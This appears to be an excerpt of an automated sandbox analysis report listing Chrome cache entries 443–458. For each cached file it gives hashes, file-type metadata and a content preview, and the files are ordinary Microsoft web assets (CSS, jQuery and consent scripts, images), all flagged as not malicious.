SHA-256:	EE4E620F350907CE3867454B2BD45984BE949EB46B113183D4B8B403032DA14D
SHA-512:	91B0BD81FCD2D3D040D9FC1DB74F5CA916EF88E7887D2868530BF1319EAF5462CC54421AB80FC97B258B569B9AF40F2B9FD1B6D417C9A4561BBA22EDF785D905
Malicious:	false
Preview:	/. jQuery Cookie Plugin v1.4.1. https://github.com/carhartl/jquery-cookie.. Copyright 2013 Klaus Hartl. Released under the MIT license./.'use strict';(function(d){"function"===typeof define&&define.amd?define(["jquery"],d):"object"===typeof exports?d(require("jquery")):d(jQuery)})(function(d){function l(a,c){if(e.raw)var b=a;else a:{0===a.indexOf('"')&&(a=a.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,"\\"));try{a=decodeURIComponent(a.replace(m," "));b=e.json?JSON.parse(a):a;break a}catch(h){}b=void 0}return d.isFunction(c)?c(b):b}var m=/\+/g,e=d.cookie=function(a,c,b){if(void 0!==c&&!d.isFunction(c)){b=d.extend({},e.defaults,b);.if("number"===typeof b.expires){var h=b.expires,g=b.expires=new Date;g.setTime(+g+864E5*h)}a=e.raw?a:encodeURIComponent(a);c=e.json?JSON.stringify(c):String(c);c=e.raw?c:encodeURIComponent(c);return document.cookie=[a,"\x3d",c,b.expires?"; expires\x3d"+b.expires.toUTCString():"",b.path?"; path\x3d"+b.path:"",b.domain?"; domain\x3d"+b.domain:"",b.secure?";

Chrome Cache Entry: 443

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 594 x 332, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18254
Entropy (8bit):	7.950218967534029
Encrypted:	false
SSDEEP:	384:4ZgtqkzeTs36Io/E0ZadkL8eExKAF+2/IEBTbztwaLAWoAGuJ:4aBzwWunZayL8eExKAFtQOTbzCak92
MD5:	334DB99BB88BA472A3116C0B3A7449DE
SHA1:	12B43CCBAA0A58336319B7AD981F8EECE202228F
SHA-256:	2853C551260E74FD1BADFBBCBA7ADC12539FC2BBC6124516D3AE4F3BDD76A2CA
SHA-512:	8AB869E0D4201A8F1BF2FDAE69524E481E80502D0881837D57B7ECF91075E0BE3A0DDFCD4E045B0CD5FEEFB405067A0EE76B1CFEA902C43D546AE9AF9F0DB469
Malicious:	false
Preview:	.PNG........IHDR...R...L.......R.....pHYs...%...%.IR$.....sRGB.........gAMA......a...F.IDATx..y.&Uu....P. .&"...........`...".!e$.e..M.Q..T.d...18....HJ+j.@R.E+&e"..,%K.B.f.?.Y..4.g..v....ow.>U]........o.s.;........a...\.-[....cIN3.......Pr<._.r.{B............[.).5k..{..G.).n.........V....]n.{...5.....L..P+..%7.mW&,R..=..\...pu.T.s.J...._.....2........xW..s$TL.eCIu.9. $.INm..m.]{c_l....~..q..x...G.........=..r.`Z.X.b.)PO-.Dg...Iu..v.R....F. .-....E.Hix......57B.5.!.....".029...@O...}.r"..S.....a_..#....qhO..<..s.C..7.~.E..... .....}........,../2X...`...L..pZ.}...k...e..aM.u........k.^U~..z.@.f..2.:.......!m.v.0........3D...}.&.$..@ZB-T.J.=.. .].+..>.....!..0SR7R.3.3m..)...0.....y..PFm...{<S....s.'...`!....z..O..y.u....@Zrp..b.c...=........:..:F.'+BJ..'.@..v.K.=..b.PU.h}..H...... .,R.R[..g.$....:........".\s{.8.Kh..F.hz..R.....&..'...%..)..S..m.......s.k.. cb..,....p.H.U.....")..t..)...Z...i.W..\.`!...S..C.5.Z..........$.j..b....lem.t^..K...hr

Chrome Cache Entry: 444

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (780), with no line terminators
Category:	downloaded
Size (bytes):	780
Entropy (8bit):	4.992440844788031
Encrypted:	false
SSDEEP:	24:a4+A24uJEVdLV+awt+a9QdKCHXgc+a9aaXgc+a2XgcS:a4+xJEV9Vbwtb9QT1b9ac1bw1S
MD5:	CB3531F56366637C3E928C625264646D
SHA1:	3F6B2AC9B3A9C76EF8410FCA587105F1D95238A5
SHA-256:	47F3F44C9BC3F47A111D004476F051D5684D9FB7526EF3985A6540F6D6B16E93
SHA-512:	5E99E7DCADC11B1BD462D4CE8C1BF4334857E830EAFD4AECBD689F9C3869689D25A568C8B91ACEC69E7A6B1E2FD033DB47D7F84DC260F92BE3823203FCDB8D1A
Malicious:	false
URL:	https://support.microsoft.com/css/ArticleSupportBridge/article-support-bridge.css?v=R_P0TJvD9HoRHQBEdvBR1WhNn7dSbvOYWmVA9taxbpM
Preview:	.articleSupportBridge{margin-bottom:-40px}.articleSupportBridge .bridgeHeading{margin-top:40px;font-family:"Segoe UI Light","wf_segoe-ui_light",Arial,"Helvetica Neue",Verdana,Helvetica,Sans-Serif;font-size:2.4em;font-weight:bold;line-height:1.333;margin-bottom:15px}.articleSupportBridge .bridgeToken{margin-top:-30px}.articleSupportBridge .supportBridgeCTA{text-align:left;margin-top:-10px}.articleSupportBridge .supportBridgeText{text-align:left}.articleSupportBridge .phaseOneCTA{text-transform:uppercase;letter-spacing:.975px;text-decoration-style:solid;font-size:13px;text-align:left;font-weight:600}html[dir=rtl] .articleSupportBridge .supportBridgeText,html[dir=rtl] .articleSupportBridge .supportBridgeCTA,html[dir=rtl] .articleSupportBridge .phaseOneCTA{text-align:right}

Chrome Cache Entry: 445

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 594 x 332, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20879
Entropy (8bit):	7.950262750419023
Encrypted:	false
SSDEEP:	384:46Xz3aJorn/4FQhJt9fr1Ql3LyjJELj+Se9ouEkcQb0We77nGwIZOYjHmvGSZpV:4CaurgGn9fr1Q1GGLjVmsCa77GwIZfjM
MD5:	133A012311EC0C7DC8900D41BFFE18E2
SHA1:	A8344E3CB54AC529652411C13DE0FC9F18C72418
SHA-256:	BC07BB9CDAECB6BB882CCD19058DD50E6376C9D0D4DAEB5576949CF80C1E5DF0
SHA-512:	84AAE06C3C881FB388A4EB69478C3A15CCA7DDBC018C3D8942B772F9D30790322AC4398EF7C9F147BE3FFF14F63F184F3AD4BBB6666785704DB47DA43F1DC175
Malicious:	false
Preview:	.PNG........IHDR...R...L.......R.....pHYs...%...%.IR$.....sRGB.........gAMA......a...Q$IDATx.....Q.s..x...................1`G..2^y..<...p.k..M..:.'OJ.L.nU._DGw..[U...2S....o~....W..i...5c...,...x5v...5..Yu...u{.j..[K...J.G\...M.=I.e....5......!........oms.\|r....Hd..e.(.,7...Qc.z.>\|e.t.E...s..V.rJ.C.......AEI...Q.S.1..y..N.}R=.s.j.Z. .^..R.. ....T.....QV..H.gT.....N.4.<...H.&^V-...+..FHar...3.Wt.F....h.....}.fY....R.K..~,.N.U.TN.,..}n.W\.."..8....eE.(o...\|.........cm.FDi..].9N.p.>j..%.fY7F...........p..q.......z..k...#..g.l.D..xi.;...&.....P.k....9=&.F~.._...."...V7.L...:.....Q..NX.j\Q...1KZA%....6P.VG......e<m.B.m..H!5r....Bg.h...f.';...y=...X.:B8i.R..Kz.U.t.&.ZB...(aZ....".!..F.T`w..&.Y.s.......\|..6ZDi.D..D...RI..:wd+./G:&......Z.Z.m.).....5@..N.......X[no....5..k3.Q1Q..5!.\.&p..^.1MR\|.M..d.r.....s..WJ...=s0.N....`.......V.S,Z5....#..T4...B....n.DF.NZ...d....&..Mk..........N....D[..yJ.I:NE..*.j..M..T.2-iZ.E..$.F.V.;......R..X.'g..v+k.....C.

Chrome Cache Entry: 446

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3456
Entropy (8bit):	4.169914953523954
Encrypted:	false
SSDEEP:	48:tUhmCdRVr+DYmK4bnFJuCFEHMITY2D6auKr5ZNjfI8jqbufPx:y/C//wCFMjOGfqqh
MD5:	F6C5E4C0CC59F8C1964FC8996CD9AC60
SHA1:	67616D688B9503F67FEBFE967A7A773F5CE1BFA6
SHA-256:	953170B4F813B47654572C948330B890677E1D1DC6728E6F46DB683B4D509830
SHA-512:	B2A233BC0AB581DC7C8E345179986932239095891E70BEC52E48F66AD6ED9CA9716E193774388E1A3BF46BFD3A6E7EF88AA88A3F595CACFEF3141130FE3FAE2B
Malicious:	false
URL:	https://mem.gfx.ms/me/mecache?partner=windows&wreply=https%3A%2F%2Fwww.microsoft.com
Preview:	<!DOCTYPE html>..<html lang="en" >..<head>.. <meta charset="utf-8" />.. <meta http-equiv="X-UA-Compatible" content="IE=edge" />.. <meta name="viewport" content="width=device-width" />.. .. ..</head>..<body>.. <div id="body" role="main">.. ..<script>.. var INIT = "INI", SUCCESS = "OK", FAIL = "BAD", CACHE = "CACHE", MISS = "MISS";.. var Gets = [], Sets = [], state = "windows";.. var targetOrigin = "*";.. var SevenDaysMS = 604800000, TimeKey = "_timeOffSet_";.. window.addEventListener("message", handleCacheRequest);.. postMessageToParent(state, INIT);.... function handleCacheRequest(e) {.. if (validateArgs(e)) {.. Sets = e.data.sets;.. Gets = e.data.gets; .. targetOrigin = e.origin;.. state = e.data.state;.. try {.. if (window.localStorage) {.. ls = window.localStorage;.. for (var idx in Sets) {.. try {..

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42133)
Category:	downloaded
Size (bytes):	138067
Entropy (8bit):	5.225028044529473
Encrypted:	false
SSDEEP:	3072:1f4HuF7pxnISnJ9d1EwgXA7nKRZMK/xw/:1f4Hu1I+kw/
MD5:	B9C3E4320DB870036919F1EE117BDA6E
SHA1:	29B5A9066B5B1F1FE5AFE7EE986E80A49E86606A
SHA-256:	A1FE019388875B696EDB373B51A51C0A8E3BAD52CD489617D042C0722BDB1E48
SHA-512:	A878B55E8C65D880CDF14850BAEE1F82254C797C3284485498368F9128E42DCA46F54D9D92750EEEB547C42CAB9A9823AA9AFAB7D881090EBBFA1135CDD410B6
Malicious:	false
URL:	https://support.microsoft.com/lib/uhf/dist/uhfbundle.js?v=of4Bk4iHW2lu2zc7UaUcCo47rVLNSJYX0ELAcivbHkg
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

Chrome Cache Entry: 448

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4565
Entropy (8bit):	7.879534543139402
Encrypted:	false
SSDEEP:	96:aSNKFuwJEQpaGX5wC3wglX5YEGdqsR1VsIAufA0E3xnMMV7:aSN3QpayvmEGdqsxsW7EhMMF
MD5:	D596565EC1F100A507CC0D5F663B6D57
SHA1:	6B688AA0541E5758B9A54C1848C6A52886E081BA
SHA-256:	4C8A06620DD3AADE66AEB759A5FC2BCEC1B51B66EA9C456B5DC3F511CB783258
SHA-512:	7E7CAF2644B686064959389EA975BC1701C8FB3FB23C44B701FE710227FE2A0A0B58769AABA6569FCBE1D79E44E5669CD60036060B3144E0C6B97A8C40D6CA9B
Malicious:	false
URL:	"https://cdn-dynmedia-1.microsoft.com/is/image/microsoftcorp/UHFbanner-MSlogo?fmt=png-alpha&bfc=off&qlt=100,1"
Preview:	.PNG........IHDR.............J.......pHYs.................IDATx...t..u...H.$~X.....\|L16.8@........`p.&.,..+.mPKh....4)$$.H..+Y....?SB.l.1..H!.4....c+..-k...cf.....Z.bZ......f..w.}.=.}......o....G.t%.?C...SOV.n..r!.t.<<.?.)..G......x...QA<... ..yxT..@w...Jkk..t:=....8....a.w..t)ux.v.......3TU}...........4.Z..@D.\...O.......<....\J).<......u.$..^.!.rfV.y},.[....a.....Q+..d...i...9..=..iU..S"ZY$[...&..1......9r"..........O.R..h..n..B...X2..OD.,..n.4..]..k<.{..K..)...J.oB)...<.}>..6.o.~..X!.W..3s..,.<.Rj;DDg..........B\....;`..N...=1....L&.2...X,.z&m.)X1\|.\|9.`B.K`..K...u.K)7.o...CQ.9.\|.C<....b......DD..] .\b....@0...d..s..X....0.S...2uuu.&..C.......O=..O..4-..+..ttt.+WV3......L......f.\..\......dr!.....[o.u_SSS...a.a..B....?.n.8.O.f.N...+....c}2O....p8.www..)b....D.........s4..~z..!.tQ...\........2{3X.o........OK$.'..}.M.f.8..c..DT....Kl.);\.=.;::d.2.v..RN.p..Bef.(.G.tz{<..QJ[.....1W.X1Y.1.....]......<....H.0&..~..y..(.E".wK..........G2.".L..

Chrome Cache Entry: 449

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 32x32, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	308
Entropy (8bit):	7.1080290655651375
Encrypted:	false
SSDEEP:	6:ck5Z+lUPuq5yIRVnVhRp6sAm5nnWpQLJffvsFvboYe/zfpKU:cxlUPukyIHn7X64nDLJ5Ye/zhKU
MD5:	6B7A4ADE4D99086DA8E64F1E23F2F579
SHA1:	4CF069F3C32BD6FE5CCCFB7ABDDF42D36DDCD547
SHA-256:	1F98B878DA957BA2B2C06415F405EA23832CDF5A4DADD9C76648BF72F37822FB
SHA-512:	90ED525AFEC742BD3F08D3BB8FEE45A93284C12E1B097F23BBA9C11E1AB388B261FA4515B25578B91A80AB0061B42916DA260F3F1F55356C24BF28972FD935AF
Malicious:	false
Preview:	RIFF,...WEBPVP8 ........* . .>Q..D#......8....N.q...x.(...yd.....w,...S\....~..e...^......h.=...]....\\|....Qt.K.X...z...\|~.....&....9.M...........;.gX...+.c=s}..~..\..G'. .$..D_....Z....<..S...TW..+....!S.i........~>&b............*.:"......wN.L..z9y"3:..A......k...P....2?>k0..'.P..O.e....P.b2...

Chrome Cache Entry: 450

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 32x32, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	308
Entropy (8bit):	7.1080290655651375
Encrypted:	false
SSDEEP:	6:ck5Z+lUPuq5yIRVnVhRp6sAm5nnWpQLJffvsFvboYe/zfpKU:cxlUPukyIHn7X64nDLJ5Ye/zhKU
MD5:	6B7A4ADE4D99086DA8E64F1E23F2F579
SHA1:	4CF069F3C32BD6FE5CCCFB7ABDDF42D36DDCD547
SHA-256:	1F98B878DA957BA2B2C06415F405EA23832CDF5A4DADD9C76648BF72F37822FB
SHA-512:	90ED525AFEC742BD3F08D3BB8FEE45A93284C12E1B097F23BBA9C11E1AB388B261FA4515B25578B91A80AB0061B42916DA260F3F1F55356C24BF28972FD935AF
Malicious:	false
URL:	https://cdn-dynmedia-1.microsoft.com/is/image/microsoftcorp/facebook?scl=1
Preview:	RIFF,...WEBPVP8 ........* . .>Q..D#......8....N.q...x.(...yd.....w,...S\....~..e...^......h.=...]....\\|....Qt.K.X...z...\|~.....&....9.M...........;.gX...+.c=s}..~..\..G'. .$..D_....Z....<..S...TW..+....!S.i........~>&b............*.:"......wN.L..z9y"3:..A......k...P....2?>k0..'.P..O.e....P.b2...

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 594 x 332, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	25084
Entropy (8bit):	7.954629745011792
Encrypted:	false
SSDEEP:	384:z4b+mWMn+0y7Pg/1ZG7QBkT1ptdZXWVTTaGOKPKb3BZE3SDL0Fkx1qEPNugrtRPI:E+5Mn34PglkT9XICcPKb3Bh0e5tQT
MD5:	9AA997545CAD62F24960E39B773AE81C
SHA1:	3EBF01E3B3630F127309F816F13FF86B94798E07
SHA-256:	BC5E9528086858FD7BFF758A1B0AE0D559A9930E279ECDF4955572B6AD1E53EA
SHA-512:	4B2572DEA6B5C777AF39359095D97EB8078B3B252D4A70191837BF5C641B860CD4AF56719B3D96E45CBEBB13465625FD5DD6E66BC03F009487FEBEAF5D9F7169
Malicious:	false
URL:	https://support.content.office.net/en-us/media/fbf6e41b-ddbe-43db-a616-7a8e48d43d18.png
Preview:	.PNG........IHDR...R...L.......R.....pHYs...%...%.IR$.....sRGB.........gAMA......a...a.IDATx..y..Eu...u}.@1.....D...IX..0,A..Fc.`.,.D..H .eUX.....E..X.H...1q......(....l...r.!.....rz.....yf......9.{6z.......h....__......r.S.C..F...T.o...<.9.M..$].6.:...9..vSrN.B.2.Ug....x..rU6i>zY..C.lK.._.v.H.......9.S..U.]T.v..Y8..LJ...tl.C....m(...&.(QpAP.x\".._.G..$.L..)T[.."j$...}...@>z.n-..X.U..45&.S.....N.m\...m"I"...\.q.\|M.6#.............Q....."...e..m.6..f.....Sj...cK+DH...+]..".......i..Q.......xS.24@....C".$b.]'Y...<J.$.jY7J........i..0..1..........y./)Db.@_@.m.X\|..u..f..w..C@.\{.mc..u&....5k..`.j.ZO7.L...7.....R..zxp...B...Y....&!#..v...m[.\\|!}....B%-..K!U..cjj..Z...^...(.J....LHYK.'.@r.....d[..Q>..[VJ..b...H5H-....h.9..K.;.1..#.)fy.........r..B.X.L.)..PV$=..:.6!.B..Z.\|...).....%@..IK.G....'ci....(.-.......R.....5W..]..4.......2[..m...9..g...w.....p.4t..... ..(.je...r..R....{E.y.Xhr..U.>.H....5}.,Q.4S.$..I...R..` ....=R.#.-Y.}l......U.W...

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (514)
Category:	dropped
Size (bytes):	941
Entropy (8bit):	5.237366916956353
Encrypted:	false
SSDEEP:	24:IlxCSV6Pfo4ydsethmnUitaKKklq93+TEDzD:IlQ3sdbtKUitaKHCsEDzD
MD5:	6FC8AFFCA0D3B2C5BDC78E27C9425BCE
SHA1:	1348892B3663F4496C35732DDC4D853452F48054
SHA-256:	531C0795866BF6D1BD0E44A4239CFFB3F0FAC07CC911BEA226ADF84E9C3DDAA7
SHA-512:	B2CD1CFD5711BDF37C435EF0E6764C28A233184CE6BA3AE097441FE2A020B6E172E6DB335F4266DDC98788E86C0CF2145E5B09A125FFA4C166AFCA99DCF2004E
Malicious:	false
Preview:	'use strict';(()=>{function c(b){var a=e[b];if(void 0!==a)return a.exports;a=e[b]={exports:{}};return f[b](a,a.exports,c),a.exports}var f={6993:()=>{$(function(){$(".area-heading p a").each(function(b,a){b=$(a).closest("div.row").find("h1,h2,h3,h4,h5,h6");a.dataset.biCn=a.innerText;a.dataset.biEcn=a.innerText;a.dataset.biCompnm="Area Heading";a.dataset.biBhvr="0";a.dataset.biCt="Link";a.dataset.biPa="Body";b=b.first();b.text()&&""!==b.text()&&(a.dataset.biHn=b.text().trim(),a.dataset.biEhn=b.text().trim())});.document.querySelectorAll(".areaheading sup").forEach(function(b){0==b.children.length&&b.insertAdjacentHTML("afterbegin",'\x3cspan class\x3d"sr-text"\x3eFootnote\x3c/span\x3e')})})}},e={};c.n=b=>{var a=b&&b.__esModule?()=>b.default:()=>b;return c.d(a,{a}),a};c.d=(b,a)=>{for(var d in a)c.o(a,d)&&!c.o(b,d)&&Object.defineProperty(b,d,{enumerable:!0,get:a[d]})};c.o=(b,a)=>Object.prototype.hasOwnProperty.call(b,a);c(6993)})();

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (541)
Category:	dropped
Size (bytes):	3642
Entropy (8bit):	5.399452635270733
Encrypted:	false
SSDEEP:	96:yjXZ9sAK618PFA5Hvsy15vm9sgsTO7wdNTB:yjXPT2Sb15vkl7wdN9
MD5:	BE3F2A9F6A41FC40556EFE260FC861A5
SHA1:	EF6D673802EDF44C01EEA9DD86DF4E5ACD21757E
SHA-256:	C94F3B6AA377CFC8D9416F38AEDF1E49C43DE0BDC6726858720610827DF2DD3E
SHA-512:	05ED779F490E9F21153E0C6838198A9E5337C4361644E62A5C99BCA3978001840CAC2E947874983FABF15573FDDA548567176F77B0393A827E27E47ECB01792A
Malicious:	false
Preview:	'use strict';window.ExpConsentUtils=window.ExpConsentUtils\|\|{};window.ExpConsentUtils=function(){return{waitForObj:function(f){return new Promise(function(d,c){var h=0,k=setInterval(function(){100>h?"visitor"==f&&"object"===typeof visitor&&visitor\|\|"consent"==f&&"undefined"!==typeof WcpConsent&&WcpConsent&&"undefined"!==typeof WcpConsent.siteConsent&&WcpConsent.siteConsent&&"undefined"!==typeof GPC_DataSharingOptIn&&null!=GPC_DataSharingOptIn?(clearInterval(k),d()):h++:(clearInterval(k),c())},50)})}}}();.var ExpConsentHandler=function(){function f(){window.ExpConsentUtils.waitForObj("visitor").then(function(){visitor.getVisitorValues(function(a){adobe.target.trackEvent({mbox:"personalizationConsent"})})}).catch(function(a){console.log(a)})}function d(){return WcpConsent&&WcpConsent.siteConsent&&void 0!==WcpConsent.siteConsent.isConsentRequired&&null!==WcpConsent.siteConsent.isConsentRequired?WcpConsent.siteConsent.isConsentRequired:!0}function c(){var a=WcpConsent&&WcpConsent.siteConse

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (352), with no line terminators
Category:	downloaded
Size (bytes):	352
Entropy (8bit):	5.097997927435311
Encrypted:	false
SSDEEP:	6:Q37FejK1hPCuLNKKCdTtyg4LKLnawvStEYl4BXWe/8hdsGg9ZPYgyg4L/:c7Mj+h6uh30tyg4LKGsSEvophufdYgyf
MD5:	46469E1FACB74FFD90D181244E48558C
SHA1:	74003A1FCBF4178C5F6F275D68468B2B765AFBE0
SHA-256:	F83D4C9FC55AB64D61D29878A7B7722D331E1FD476429736FE8AFE156D44F970
SHA-512:	8A21A9A850EE9CAF39CEFE2BD492A1721C2A69EA85BE476982BE0E24FFC6B6DB135EDAB5302A75FAAF2C55DDC0ABB21FAA34EC38230F19C10A7A70574D6871C3
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/content/tablecomponent/v1/tablecomponent/clientlibs/site.min.ACSHASH46469e1facb74ffd90d181244e48558c.js
Preview:	'use strict';$(function(){$(".table-container table th,td").html(function(a,b){return b.replace(/ /g," ")})});function addFootnotesTableComponentV1(){document.querySelectorAll(".table sup").forEach(a=>{0==a.children.length&&a.insertAdjacentHTML("afterbegin",'\x3cspan class\x3d"sr-text"\x3eFootnote\x3c/span\x3e')})}addFootnotesTableComponentV1();

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	159
Entropy (8bit):	4.661188988961239
Encrypted:	false
SSDEEP:	3:agWqLss4aXD5R20gJYRnd7HtOx1L5HQhLIzseX5LxfYLk21:QqPXD5bDRd7H8L5whLzeJSI21
MD5:	C22EA5B46F3FCAD90DA0ABCC0A3F73D4
SHA1:	2DB789C63AFB63D98932D7B55907DC3508E318B4
SHA-256:	8334DAA260516BB896407461E5F10E8E3041B06C56846BBB9D3435C6E77513AD
SHA-512:	A0359F8C25DC40CEFFD14A41BA81794717B99DABE78CBF8A8678F3E3EC57F317388CA0DC55B1CC6AD2D6C13D2B3CAEB5A64527BB2C646ED2D93775437DA646F1
Malicious:	false
Preview:	'use strict';function isFeatureEnabled(b){var a=document.getElementById("customFeatureControl").getAttribute("enabledFeatures");return null!=a&&a.includes(b)};

Chrome Cache Entry: 456

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 594 x 332, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17028
Entropy (8bit):	7.926562320564401
Encrypted:	false
SSDEEP:	384:7wixC+iG9rj5+kgbLPcAmxOkpJIhI9CvaMo05vCf9MRRLMk5K/jk:sifiG2tvXmxHbIhlo05KlGRaY
MD5:	DDCB4FCA39CCADCDF6C1FE2E1F717867
SHA1:	88238D53920F32AF37A802A5E6BFEEC3B1E6F75D
SHA-256:	097DF2DFA3781F1AEDB631C968D04D8152D7C7FA8E92BC91E233B3000E2F34BB
SHA-512:	316574E565EF67B97E13D0BF01CF4AFA8E0E9CF0748768CE4AE6BBB81352685A6E027EADBC083D2B632C412C950E65963E6EA98FE4CE7692C0AE0B6D956D3D37
Malicious:	false
Preview:	.PNG........IHDR...R...L.......R.....pHYs...%...%.IR$.....sRGB.........gAMA......a...B.IDATx..Y.mWU.W.7.A.e.Z..H.R.F.......$!....iH..4...T@..{i.A.....M..... .XP6eaB..R% ...Bs.o.0N..w...Zkvk..j.>g.}.^...c.1O...?..K.I'..J..<.c..fX!..N.m5...!.O-.=....p/....B.m_..o..........7.{..............]..~...C.....J..g..bI.C.....@&.7.}...u.RYs.J_.P_..j.....J...%..}.{..)}o,....\|...2iil+1.n:.W.b.I@. ......q/........},...K.....b.35f.....@t.C.H..f.....X8...qXA5W\mG..78..E.Wjm..j.C.E.....L.!e...}..... .FKi......!........t.;.s:8.P....9...H@....I! ...lp....`...".#.... .d"......=eN.nNcMUu......=.l......a.@...KY...^.....D..........=..<%&..}...P.HK.CE...0...R1..r..#h.5...)....z.B.....7.DH....KE...ha)....Z.=........)bZH.X.._...)........HK.a.Pn.X1Eh.....o.B......k...2....`..v.O.=...]..Y.!..:R.:......G@jg.q.[b.....)].O.....jm...q.c..*...=B...\|.........%....x.Bc..[.....r.....4......R.}......R...6.I..W..!...8K...:..U.. .3ZH...t.e..f\.(...y>k+.AH"..K.GjI!....J.}...HK..&..%.

Chrome Cache Entry: 457

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (512)
Category:	dropped
Size (bytes):	544
Entropy (8bit):	5.221040627274746
Encrypted:	false
SSDEEP:	12:Yz+uu8HDeNucEuKEZEuwdaXOVWMsk2lntX2F3/v2d7oyxCJNe:YauZStKa5nltX2Fvege
MD5:	383B23D12DF0D9265D7569A7102C2F96
SHA1:	B78FB17F58484F5CD29B3FE307936181E1B30B57
SHA-256:	BBF608E321107D6C4EEAF31A4A0EEB9DD8A9AB825F645FA963651688FD3D3914
SHA-512:	8CA27D482871CAFF41C2D86CA743F075ED97465C12624B1841396B423229A90AFB7E62211BB02DFC0211C45BBABFD12F82EFF8863E6FD3D176FCD99C84747F60
Malicious:	false
Preview:	'use strict';(function(){(function(b){var a=document.createElement("iframe");a.setAttribute("src","https://fpt.microsoft.com/tags?session_id\x3d"+b);a.style.width="100px";a.style.height="100px";a.style.cssText="display: none; color: rgb(0,0,0); float:left; position:absolute; top:-200px; left:-200px; border:0px";a.title="greenID";a.setAttribute("id","greenID");document.body.append(a)})(function(){return"10000000-1000-4000-8000-100000000000".replace(/[018]/g,b=>(b^crypto.getRandomValues(new Uint8Array(1))[0]&.15>>b/4).toString(16))}())})();

Chrome Cache Entry: 458

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4565
Entropy (8bit):	7.879534543139402
Encrypted:	false
SSDEEP:	96:aSNKFuwJEQpaGX5wC3wglX5YEGdqsR1VsIAufA0E3xnMMV7:aSN3QpayvmEGdqsxsW7EhMMF
MD5:	D596565EC1F100A507CC0D5F663B6D57
SHA1:	6B688AA0541E5758B9A54C1848C6A52886E081BA
SHA-256:	4C8A06620DD3AADE66AEB759A5FC2BCEC1B51B66EA9C456B5DC3F511CB783258
SHA-512:	7E7CAF2644B686064959389EA975BC1701C8FB3FB23C44B701FE710227FE2A0A0B58769AABA6569FCBE1D79E44E5669CD60036060B3144E0C6B97A8C40D6CA9B
Malicious:	false
Preview:	.PNG........IHDR.............J.......pHYs.................IDATx...t..u...H.$~X.....\|L16.8@........`p.&.,..+.mPKh....4)$$.H..+Y....?SB.l.1..H!.4....c+..-k...cf.....Z.bZ......f..w.}.=.}......o....G.t%.?C...SOV.n..r!.t.<<.?.)..G......x...QA<... ..yxT..@w...Jkk..t:=....8....a.w..t)ux.v.......3TU}...........4.Z..@D.\...O.......<....\J).<......u.$..^.!.rfV.y},.[....a.....Q+..d...i...9..=..iU..S"ZY$[...&..1......9r"..........O.R..h..n..B...X2..OD.,..n.4..]..k<.{..K..)...J.oB)...<.}>..6.o.~..X!.W..3s..,.<.Rj;DDg..........B\....;`..N...=1....L&.2...X,.z&m.)X1\|.\|9.`B.K`..K...u.K)7.o...CQ.9.\|.C<....b......DD..] 